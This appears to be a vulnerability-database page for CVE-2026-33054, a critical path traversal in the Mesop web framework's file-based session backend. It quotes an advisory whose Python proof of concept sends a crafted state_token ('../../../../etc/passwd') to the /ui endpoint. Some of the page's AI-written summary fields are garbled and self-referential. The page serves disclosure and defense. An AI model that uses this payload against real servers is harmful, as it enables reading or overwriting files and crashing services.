Python
CVE-2026-33054
CRITICAL
GHSA-8qvf-mr4w-9x2c
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply malicious state_token via UI stream payload
-
ExploitTrigger path traversal in FileStateSessionBackend
-
ExecutionAccess arbitrary files on disk
-
ImpactManipulate configuration or crash application
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires framework configured with disk-based session backend (FileStateSessionBackend). Remote unauthenticated attacker supplies malicious state_token via UI stream payload to read/write arbitrary files on disk, causing DoS or file manipulation. |
| Impact | CVSS 10.0. EPSS 0.1%. No patch confirmed. |
| Exploit ScenarioDerived | An attacker could exploit this vulnerability in A Path Traversal vulnerability to compromise the security of affected deployments, potentially impacting confidentiality, integrity, or availability. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
A path traversal vulnerability in A Path Traversal vulnerability (CVSS 10.0). Critical severity with potential for significant impact on affected systems.
Earlier versions of this analysis (1)
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based ru
RemediationAI
Monitor vendor channels for patch availability.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CWE-22 (Path Traversal). CVSS 10.0 indicates critical severity with likely remote exploitation vector. Affects A Path Traversal vulnerability.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb
# Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
Executive ViewAI
A critical vulnerability in the Mesop Python web framework exposes any organization using this library to complete system compromise without requiring authentication. Attackers can read, modify, or delete arbitrary files on affected servers, potentially leading to data theft, service disruption, and regulatory violations. Immediate action is required to identify affected systems and implement protective measures.
Deploy Web Application Firewall (WAF) rules blocking path traversal sequences (../, .., encoded variants); restrict network access to Mesop applications via IP whitelisting and VPN requirements; disable FileStateSessionBackend and switch to alternative session storage mechanisms; implement strict file system permissions and SELinux/AppArmor policies limiting application file access; enable enhanced logging and monitoring for file system access patterns; consider containerization with read-only root filesystems to limit exploitation scope.
Threat Intelligence Overview
NVD
CVE.org
EPSS
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in Path Traversal Vulnerabilities
View all 4Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Exploit-DB